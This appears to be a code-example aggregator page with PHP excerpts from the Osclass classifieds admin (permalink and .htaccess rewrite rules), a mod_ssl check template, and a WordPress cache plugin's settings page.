                    // 2. OK no apache module detected (warning)
                    // 3. No se puede crear + apache
                    // 4. No se puede crear + no apache
                    // 5. .htaccess exists, no overwrite
                    $status = 3;
                    if (file_exists($htaccess_file)) {
                        $status = 5;
                    } else {
                        if (is_writable(osc_base_path()) && file_put_contents($htaccess_file, $htaccess)) {
                            $status = 1;
                        }
                    }
                    if (!@apache_mod_loaded('mod_rewrite')) {
                        $status++;
                    }
                    $errors = 0;
                    $item_url = substr(str_replace('//', '/', Params::getParam('rewrite_item_url') . '/'), 0, -1);
                    if (!osc_validate_text($item_url)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_url', $item_url);
                    }
                    $page_url = substr(str_replace('//', '/', Params::getParam('rewrite_page_url') . '/'), 0, -1);
                    if (!osc_validate_text($page_url)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_page_url', $page_url);
                    }
                    $cat_url = substr(str_replace('//', '/', Params::getParam('rewrite_cat_url') . '/'), 0, -1);
                    // DEPRECATED: backward compatibility, remove in 3.4
                    $cat_url = str_replace('{CATEGORY_SLUG}', '{CATEGORY_NAME}', $cat_url);
                    if (!osc_validate_text($cat_url)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_cat_url', $cat_url);
                    }
                    $search_url = substr(str_replace('//', '/', Params::getParam('rewrite_search_url') . '/'), 0, -1);
                    if (!osc_validate_text($search_url)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_url', $search_url);
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_country'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_country', Params::getParam('rewrite_search_country'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_region'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_region', Params::getParam('rewrite_search_region'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_city'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_city', Params::getParam('rewrite_search_city'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_city_area'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_city_area', Params::getParam('rewrite_search_city_area'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_category'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_category', Params::getParam('rewrite_search_category'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_user'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_user', Params::getParam('rewrite_search_user'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_pattern'))) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_search_pattern', Params::getParam('rewrite_search_pattern'));
                    }
                    $rewrite_contact = substr(str_replace('//', '/', Params::getParam('rewrite_contact') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_contact)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_contact', $rewrite_contact);
                    }
                    $rewrite_feed = substr(str_replace('//', '/', Params::getParam('rewrite_feed') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_feed)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_feed', $rewrite_feed);
                    }
                    $rewrite_language = substr(str_replace('//', '/', Params::getParam('rewrite_language') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_language)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_language', $rewrite_language);
                    }
                    $rewrite_item_mark = substr(str_replace('//', '/', Params::getParam('rewrite_item_mark') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_mark)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_mark', $rewrite_item_mark);
                    }
                    $rewrite_item_send_friend = substr(str_replace('//', '/', Params::getParam('rewrite_item_send_friend') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_send_friend)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_send_friend', $rewrite_item_send_friend);
                    }
                    $rewrite_item_contact = substr(str_replace('//', '/', Params::getParam('rewrite_item_contact') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_contact)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_contact', $rewrite_item_contact);
                    }
                    $rewrite_item_new = substr(str_replace('//', '/', Params::getParam('rewrite_item_new') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_new)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_new', $rewrite_item_new);
                    }
                    $rewrite_item_activate = substr(str_replace('//', '/', Params::getParam('rewrite_item_activate') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_activate)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_activate', $rewrite_item_activate);
                    }
                    $rewrite_item_edit = substr(str_replace('//', '/', Params::getParam('rewrite_item_edit') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_edit)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_edit', $rewrite_item_edit);
                    }
                    $rewrite_item_delete = substr(str_replace('//', '/', Params::getParam('rewrite_item_delete') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_delete)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_delete', $rewrite_item_delete);
                    }
                    $rewrite_item_resource_delete = substr(str_replace('//', '/', Params::getParam('rewrite_item_resource_delete') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_resource_delete)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_item_resource_delete', $rewrite_item_resource_delete);
                    }
                    $rewrite_user_login = substr(str_replace('//', '/', Params::getParam('rewrite_user_login') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_login)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_login', $rewrite_user_login);
                    }
                    $rewrite_user_dashboard = substr(str_replace('//', '/', Params::getParam('rewrite_user_dashboard') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_dashboard)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_dashboard', $rewrite_user_dashboard);
                    }
                    $rewrite_user_logout = substr(str_replace('//', '/', Params::getParam('rewrite_user_logout') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_logout)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_logout', $rewrite_user_logout);
                    }
                    $rewrite_user_register = substr(str_replace('//', '/', Params::getParam('rewrite_user_register') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_register)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_register', $rewrite_user_register);
                    }
                    $rewrite_user_activate = substr(str_replace('//', '/', Params::getParam('rewrite_user_activate') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_activate)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_activate', $rewrite_user_activate);
                    }
                    $rewrite_user_activate_alert = substr(str_replace('//', '/', Params::getParam('rewrite_user_activate_alert') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_activate_alert)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_activate_alert', $rewrite_user_activate_alert);
                    }
                    $rewrite_user_profile = substr(str_replace('//', '/', Params::getParam('rewrite_user_profile') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_profile)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_profile', $rewrite_user_profile);
                    }
                    $rewrite_user_items = substr(str_replace('//', '/', Params::getParam('rewrite_user_items') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_items)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_items', $rewrite_user_items);
                    }
                    $rewrite_user_alerts = substr(str_replace('//', '/', Params::getParam('rewrite_user_alerts') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_alerts)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_alerts', $rewrite_user_alerts);
                    }
                    $rewrite_user_recover = substr(str_replace('//', '/', Params::getParam('rewrite_user_recover') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_recover)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_recover', $rewrite_user_recover);
                    }
                    $rewrite_user_forgot = substr(str_replace('//', '/', Params::getParam('rewrite_user_forgot') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_forgot)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_forgot', $rewrite_user_forgot);
                    }
                    $rewrite_user_change_password = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_password') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_password)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_change_password', $rewrite_user_change_password);
                    }
                    $rewrite_user_change_email = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_email') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_email)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_change_email', $rewrite_user_change_email);
                    }
                    $rewrite_user_change_username = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_username') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_username)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_change_username', $rewrite_user_change_username);
                    }
                    $rewrite_user_change_email_confirm = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_email_confirm') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_email_confirm)) {
                        $errors += 1;
                    } else {
                        osc_set_preference('rewrite_user_change_email_confirm', $rewrite_user_change_email_confirm);
                    }
                    osc_reset_preferences();
                    $rewrite = Rewrite::newInstance();
                    osc_run_hook("before_rewrite_rules", array(&$rewrite));
                    $rewrite->clearRules();
                    /*****************************
                     ********* Add rules *********
                     *****************************/
                    // Contact rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_contact') . '/?$', 'index.php?page=contact');
                    // Feed rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_feed') . '/?$', 'index.php?page=search&sFeed=rss');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_feed') . '/(.+)/?$', 'index.php?page=search&sFeed=$1');
                    // Language rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_language') . '/(.*?)/?$', 'index.php?page=language&locale=$1');
                    // Search rules
                    $rewrite->addRule('^' . $search_url . '$', 'index.php?page=search');
                    $rewrite->addRule('^' . $search_url . '/(.*)$', 'index.php?page=search&sParams=$1');
                    // Item rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_mark') . '/(.*?)/([0-9]+)/?$', 'index.php?page=item&action=mark&as=$1&id=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_send_friend') . '/([0-9]+)/?$', 'index.php?page=item&action=send_friend&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_contact') . '/([0-9]+)/?$', 'index.php?page=item&action=contact&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_new') . '/?$', 'index.php?page=item&action=item_add');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_new') . '/([0-9]+)/?$', 'index.php?page=item&action=item_add&catId=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_activate') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=activate&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_edit') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=item_edit&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_delete') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=item_delete&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_resource_delete') . '/([0-9]+)/([0-9]+)/([0-9A-Za-z]+)/?(.*?)/?$', 'index.php?page=item&action=deleteResource&id=$1&item=$2&code=$3&secret=$4');
                    // Item rules
                    $id_pos = stripos($item_url, '{ITEM_ID}');
                    $title_pos = stripos($item_url, '{ITEM_TITLE}');
                    $cat_pos = stripos($item_url, '{CATEGORIES');
                    $param_pos = 1;
                    if ($title_pos !== false && $id_pos > $title_pos) {
                        $param_pos++;
                    }
                    if ($cat_pos !== false && $id_pos > $cat_pos) {
                        $param_pos++;
                    }
                    $comments_pos = 1;
                    if ($id_pos !== false) {
                        $comments_pos++;
                    }
                    if ($title_pos !== false) {
                        $comments_pos++;
                    }
                    if ($cat_pos !== false) {
                        $comments_pos++;
                    }
                    $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url . '\\?comments-page=([0-9al]*)')))) . '$', 'index.php?page=item&id=$3&lang=$1_$2&comments-page=$4');
                    $rewrite->addRule('^' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url . '\\?comments-page=([0-9al]*)')))) . '$', 'index.php?page=item&id=$1&comments-page=$2');
                    $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url)))) . '$', 'index.php?page=item&id=$3&lang=$1_$2');
                    $rewrite->addRule('^' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url)))) . '$', 'index.php?page=item&id=$1');
                    // User rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_login') . '/?$', 'index.php?page=login');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_dashboard') . '/?$', 'index.php?page=user&action=dashboard');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_logout') . '/?$', 'index.php?page=main&action=logout');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_register') . '/?$', 'index.php?page=register&action=register');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_activate') . '/([0-9]+)/(.*?)/?$', 'index.php?page=register&action=validate&id=$1&code=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_activate_alert') . '/([0-9]+)/([a-zA-Z0-9]+)/(.+)$', 'index.php?page=user&action=activate_alert&id=$1&email=$3&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_profile') . '/?$', 'index.php?page=user&action=profile');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_profile') . '/([0-9]+)/?$', 'index.php?page=user&action=pub_profile&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_profile') . '/(.+)/?$', 'index.php?page=user&action=pub_profile&username=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_items') . '/?$', 'index.php?page=user&action=items');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_alerts') . '/?$', 'index.php?page=user&action=alerts');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_recover') . '/?$', 'index.php?page=login&action=recover');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_forgot') . '/([0-9]+)/(.*)/?$', 'index.php?page=login&action=forgot&userId=$1&code=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_password') . '/?$', 'index.php?page=user&action=change_password');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_email') . '/?$', 'index.php?page=user&action=change_email');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_username') . '/?$', 'index.php?page=user&action=change_username');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_email_confirm') . '/([0-9]+)/(.*?)/?$', 'index.php?page=user&action=change_email_confirm&userId=$1&code=$2');
                    // Page rules
                    $pos_pID = stripos($page_url, '{PAGE_ID}');
                    $pos_pSlug = stripos($page_url, '{PAGE_SLUG}');
                    $pID_pos = 1;
                    $pSlug_pos = 1;
                    if (is_numeric($pos_pID) && is_numeric($pos_pSlug)) {
                        // set the order of the parameters
                        if ($pos_pID > $pos_pSlug) {
                            $pID_pos++;
                        } else {
                            $pSlug_pos++;
                        }
                        $rewrite->addRule('^' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', str_replace('{PAGE_ID}', '([0-9]+)', $page_url)) . '/?$', 'index.php?page=page&id=$' . $pID_pos . "&slug=\$" . $pSlug_pos);
                        $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', str_replace('{PAGE_ID}', '([0-9]+)', $page_url)) . '/?$', 'index.php?page=page&lang=$1_$2&id=$' . ($pID_pos + 2) . '&slug=$' . ($pSlug_pos + 2));
                    } else {
                        if (is_numeric($pos_pID)) {
                            $rewrite->addRule('^' . str_replace('{PAGE_ID}', '([0-9]+)', $page_url) . '/?$', 'index.php?page=page&id=$1');
                            $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_ID}', '([0-9]+)', $page_url) . '/?$', 'index.php?page=page&lang=$1_$2&id=$3');
                        } else {
                            $rewrite->addRule('^' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', $page_url) . '/?$', 'index.php?page=page&slug=$1');
                            $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', $page_url) . '/?$', 'index.php?page=page&lang=$1_$2&slug=$3');
                        }
                    }
                    // Clean archive files
                    $rewrite->addRule('^(.+?)\\.php(.*)$', '$1.php$2');
                    // Category rules
                    $id_pos = stripos($item_url, '{CATEGORY_ID}');
                    $title_pos = stripos($item_url, '{CATEGORY_NAME}');
                    $cat_pos = stripos($item_url, '{CATEGORIES');
                    $param_pos = 1;
                    if ($title_pos !== false && $id_pos > $title_pos) {
                        $param_pos++;
                    }
                    if ($cat_pos !== false && $id_pos > $cat_pos) {
                        $param_pos++;
                    }
                    $rewrite->addRule('^' . str_replace('{CATEGORIES}', '(.+)', str_replace('{CATEGORY_NAME}', '([^/]+)', str_replace('{CATEGORY_ID}', '([0-9]+)', $cat_url))) . '/([0-9]+)$', 'index.php?page=search&sCategory=$' . $param_pos . '&iPage=$' . ($param_pos + 1));
                    $rewrite->addRule('^' . str_replace('{CATEGORIES}', '(.+)', str_replace('{CATEGORY_NAME}', '([^/]+)', str_replace('{CATEGORY_ID}', '([0-9]+)', $cat_url))) . '/?$', 'index.php?page=search&sCategory=$' . $param_pos);
                    $rewrite->addRule('^(.+)/([0-9]+)$', 'index.php?page=search&iPage=$2');
                    $rewrite->addRule('^(.+)$', 'index.php?page=search');
                    osc_run_hook("after_rewrite_rules", array(&$rewrite));
                    //Write rule to DB
                    $rewrite->setRules();
                    osc_set_preference('seo_url_search_prefix', rtrim(Params::getParam('seo_url_search_prefix'), '/'));
                    $msg_error = '<br/>' . _m('All fields are required.') . " " . sprintf(_mn('One field was not updated', '%s fields were not updated', $errors), $errors);
                    switch ($status) {
                        case 1:
                            $msg = _m("Permalinks structure updated");
                            if ($errors > 0) {
                                $msg .= $msg_error;
                                osc_add_flash_warning_message($msg, 'admin');
                            } else {
                                osc_add_flash_ok_message($msg, 'admin');
                            }
                            break;
                        case 2:
                            $msg = _m("Permalinks structure updated.");
                            $msg .= " ";
                            $msg .= _m("However, we can't check if Apache module <b>mod_rewrite</b> is loaded. If you experience some problems with the URLs, you should deactivate <em>Friendly URLs</em>");
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_warning_message($msg, 'admin');
                            break;
                        case 3:
                            $msg = _m("File <b>.htaccess</b> couldn't be filled out with the right content.");
                            $msg .= " ";
                            $msg .= _m("Here's the content you have to add to the <b>.htaccess</b> file. If you can't create the file, please deactivate the <em>Friendly URLs</em> option.");
                            $msg .= "</p><pre>" . htmlentities($htaccess, ENT_COMPAT, "UTF-8") . '</pre><p>';
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_error_message($msg, 'admin');
                            break;
                        case 4:
                            $msg = _m("File <b>.htaccess</b> couldn't be filled out with the right content.");
                            $msg .= " ";
                            $msg .= _m("Here's the content you have to add to the <b>.htaccess</b> file. If you can't create the file or experience some problems with the URLs, please deactivate the <em>Friendly URLs</em> option.");
                            $msg .= "</p><pre>" . htmlentities($htaccess, ENT_COMPAT, "UTF-8") . '</pre><p>';
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_error_message($msg, 'admin');
                            break;
                        case 5:
                            $warning = false;
                            if (file_exists($htaccess_file)) {
                                $htaccess_content = file_get_contents($htaccess_file);
                                if ($htaccess_content != $htaccess) {
                                    $msg = _m("File <b>.htaccess</b> already exists and was not modified.");
                                    $msg .= " ";
                                    $msg .= _m("Here's the content you have to add to the <b>.htaccess</b> file. If you can't modify the file or experience some problems with the URLs, please deactivate the <em>Friendly URLs</em> option.");
                                    $msg .= "</p><pre>" . htmlentities($htaccess, ENT_COMPAT, "UTF-8") . '</pre><p>';
                                    $warning = true;
                                } else {
                                    $msg = _m("Permalinks structure updated");
                                }
                            }
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            if ($errors > 0 || $warning) {
                                osc_add_flash_warning_message($msg, 'admin');
                            } else {
                                osc_add_flash_ok_message($msg, 'admin');
                            }
                            break;
                    }
                } else {
                    osc_set_preference('rewriteEnabled', 0);
                    osc_set_preference('mod_rewrite_loaded', 0);
                    $deleted = true;
                    if (file_exists($htaccess_file)) {
                        $htaccess_content = file_get_contents($htaccess_file);
                        if ($htaccess_content == $htaccess) {
                            $deleted = @unlink($htaccess_file);
                            $same_content = true;
                        } else {
                            $deleted = false;
                            $same_content = false;
                        }
                    }
                    if ($deleted) {
                        osc_add_flash_ok_message(_m('Friendly URLs successfully deactivated'), 'admin');
                    } else {
                        if ($same_content) {
                            osc_add_flash_warning_message(_m('Friendly URLs deactivated, but .htaccess file could not be deleted. Please, remove it manually'), 'admin');
                        } else {
                            osc_add_flash_warning_message(_m('Friendly URLs deactivated, but .htaccess file was modified outside Osclass and was not deleted'), 'admin');
                        }
                    }
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=permalinks');
                break;
        }
    }
예제 #15
0
" />
                                    <?php 
_e('Options: blank, ssl or tls');
?>
                                    <?php 
if (php_sapi_name() == 'cgi-fcgi' || php_sapi_name() == 'cgi') {
    ?>
                                    <div class="flashmessage flashmessage-inline warning">
                                        <p><?php 
    _e("Cannot be sure that Apache Module <b>mod_ssl</b> is loaded.");
    ?>
</p>
                                    </div>
                                    <?php 
} else {
    if (!@apache_mod_loaded('mod_ssl')) {
        ?>
                                    <div class="flashmessage flashmessage-inline warning">
                                        <p><?php 
        _e("Apache Module <b>mod_ssl</b> is not loaded");
        ?>
</p>
                                    </div>
                                    <?php 
    }
}
?>
                                </div>
                            </div>
                            <div class="form-row">
                                <div class="form-label"><?php 
예제 #16
0
 /**
  * edit_options()
  *
  * @return void
  **/
 static function edit_options()
 {
     echo '<div class="wrap">' . "\n" . '<form method="post" action="">';
     wp_nonce_field('sem_cache');
     list($files, $expired) = cache_fs::stats('/', cache_timeout);
     $static_errors = array();
     $memory_errors = array();
     $query_errors = array();
     $object_errors = array();
     $assets_errors = array();
     $gzip_errors = array();
     $gzip_notice = array();
     if (!self::can_memcached()) {
         $error = sprintf(__('<a href="%1$s">Memcache</a> is not installed on your server, or the php extension is misconfigured, or the daemon is not running. Note that shared hosts never offer memcache; you need a dedicated server or a VPS to take advantage of it. Also note that there are two PHP extensions, and that only <a href="%1$s">this one</a> (Memcache not Memcached) is supported.', 'sem-cache'), 'http://www.php.net/manual/en/book.memcache.php');
         $memory_errors[] = $error;
         $query_errors[] = $error;
         $object_errors[] = $error;
     } elseif (!self::can_object()) {
         $error = __('WP cannot overwrite the object-cache.php file in your wp-content folder. The file needs to be writable by the server.', 'sem-cache');
         $memory_errors[] = $error;
         $query_errors[] = $error;
         $object_errors[] = $error;
     }
     if (!version_compare(phpversion(), '5.1', '>=')) {
         $error = sprintf(__('The Query Cache requires PHP 5.1 or more. Your server is currently running PHP %s. Please contact your host and have them upgrade PHP.', 'sem-cache'), phpversion());
         $query_errors[] = $error;
     }
     if ((@ini_get('safe_mode') || @ini_get('open_basedir')) && !wp_mkdir_p(WP_CONTENT_DIR . '/cache')) {
         $error = __('Safe mode or an open_basedir restriction is enabled on your server.', 'sem-cache');
         $static_errors[] = $error;
         $assets_errors[] = $error;
     }
     if (!(!get_option('permalink_structure') || is_writable(ABSPATH . '.htaccess')) && !(function_exists('is_multisite') && is_multisite())) {
         $error = __('WP cannot overwrite your site\'s .htaccess file to insert new rewrite rules. The file needs to be writable by your server.', 'sem-cache');
         $static_errors[] = $error;
     }
     if (!is_writable(ABSPATH . '.htaccess')) {
         $error = __('WP cannot overwrite your site\'s .htaccess file to insert extra instructions. The file needs to be writable by your server.', 'sem-cache');
         $gzip_errors[] = $error;
     }
     if (!(defined('WP_CACHE') && WP_CACHE || is_writable(ABSPATH . 'wp-config.php'))) {
         $error = __('WP cannot define a WP_CACHE constant in your site\'s wp-config.php file. It needs to be added manually, or the file needs to be writable by the server.', 'sem-cache');
         $static_errors[] = $error;
         $memory_errors[] = $error;
     }
     if (!(!file_exists(WP_CONTENT_DIR . '/advanced-cache.php') || is_writable(WP_CONTENT_DIR . '/advanced-cache.php'))) {
         $error = __('WP cannot overwrite the advanced-cache.php file in your wp-content folder. The file needs to be writable by the server.', 'sem-cache');
         $static_errors[] = $error;
         $memory_errors[] = $error;
     }
     if (!(!file_exists(WP_CONTENT_DIR . '/cache') && is_writable(WP_CONTENT_DIR) || is_dir(WP_CONTENT_DIR . '/cache') && is_writable(WP_CONTENT_DIR . '/cache'))) {
         $error = __('WP cannot create or write to the cache folder in your site\'s wp-content folder. It or the wp-content folder needs to be writable by the server.', 'sem-cache');
         $static_errors[] = $error;
         $assets_errors[] = $error;
     }
     if (function_exists('apache_get_modules')) {
         if (!apache_mod_loaded('mod_deflate')) {
             $error = __('mod_deflate is required in order to allow Apache to conditionally compress the files it sends. (mod_gzip is not supported because it is too resource hungry.)  Please contact your host so they configure Apache accordingly.', 'sem-cache');
             $gzip_errors[] = $error;
         }
         if (!apache_mod_loaded('mod_headers')) {
             $error = __('mod_headers is required in order to avoid that proxies serve gzipped items to user agents who cannot use them. Please contact your host so they configure Apache accordingly.', 'sem-cache');
             $gzip_errors[] = $error;
         }
     } else {
         # just assume it works
         $gzip_notice[] = __('gzip caching requires mod_deflate and mod_headers, but the Semiologic Cache plugin cannot determine whether they are installed on your server. Please check with your host.', 'sem-cache');
     }
     if (function_exists('is_multisite') && is_multisite()) {
         $static_errors = array(__('The filesystem-based cache cannot be enabled on multisite installations.', 'sem-cache'));
     }
     foreach (array('static_errors' => __('Filesystem-based static cache errors', 'sem-cache'), 'memory_errors' => __('Memcache-based static cache errors', 'sem-cache'), 'query_errors' => __('Query cache errors', 'sem-cache'), 'object_errors' => __('Object cache errors', 'sem-cache'), 'assets_errors' => __('Asset cache errors', 'sem-cache'), 'gzip_errors' => __('Gzip cache errors', 'sem-cache'), 'gzip_notice' => __('Gzip cache notice', 'sem-cache')) as $var => $title) {
         if (!${$var}) {
             ${$var} = false;
         } else {
             ${$var} = '<h3>' . $title . '</h3>' . "\n" . '<ul class="ul-square">' . "\n" . '<li>' . implode("</li>\n<li>", ${$var}) . '</li>' . "\n" . '</ul>' . "\n";
         }
     }
     echo '<h2>' . __('Cache Settings', 'sem-cache') . '</h2>' . "\n";
     echo '<table class="form-table">' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('Quick and Easy', 'sem-cache') . '</th>' . "\n" . '<td>' . '<button type="submit" name="action" value="on" class="submit button">' . __('Turn the cache on', 'sem-cache') . '</button>' . ' ' . '<button type="submit" name="action" value="off" class="submit button">' . __('Turn the cache off', 'sem-cache') . '</button>' . ' ' . '<button type="submit" name="action" value="flush" class="submit button">' . sprintf(__('Flush %d cached files', 'sem-cache'), $files) . '</button>' . ' ' . '<button type="submit" name="action" value="clean" class="submit button">' . sprintf(__('Flush %d expired files', 'sem-cache'), $expired) . '</button>' . '<p>' . __('The first of the above four buttons will autodetect the best means to improve the performance of your site, and turn the cache on. The second one will turn the cache off. The last two will retain your settings, and stick to flushing the cache.', 'sem-cache') . '</p>' . "\n" . '</td>' . "\n" . '</tr>' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('Static Cache', 'sem-cache') . '</th>' . "\n" . '<td>' . '<p>' . '<label>' . '<input type="checkbox"' . ' id="static_cache" name="static_cache"' . checked((bool) get_site_option('static_cache'), true, false) . ($static_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Serve filesystem-based, static versions of my site\'s web pages.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . '<label>' . '<input type="checkbox"' . ' id="memory_cache" name="memory_cache"' . checked((bool) get_site_option('memory_cache'), true, false) . ($memory_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Serve memcache-based, static versions of my site\'s web pages.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . __('The static cache will attempt to serve previously rendered version of the requested web pages to visitors who aren\'t logged in. The key drawback is that your visitors are not always viewing the latest version of your web pages. Lists of recent posts and recent comments, for instance, may take up to  hours to refresh across your site. In addition, it prevents any random elements that are introduced at the php level from working.', 'sem-cache') . '</p>' . "\n" . '<p>' 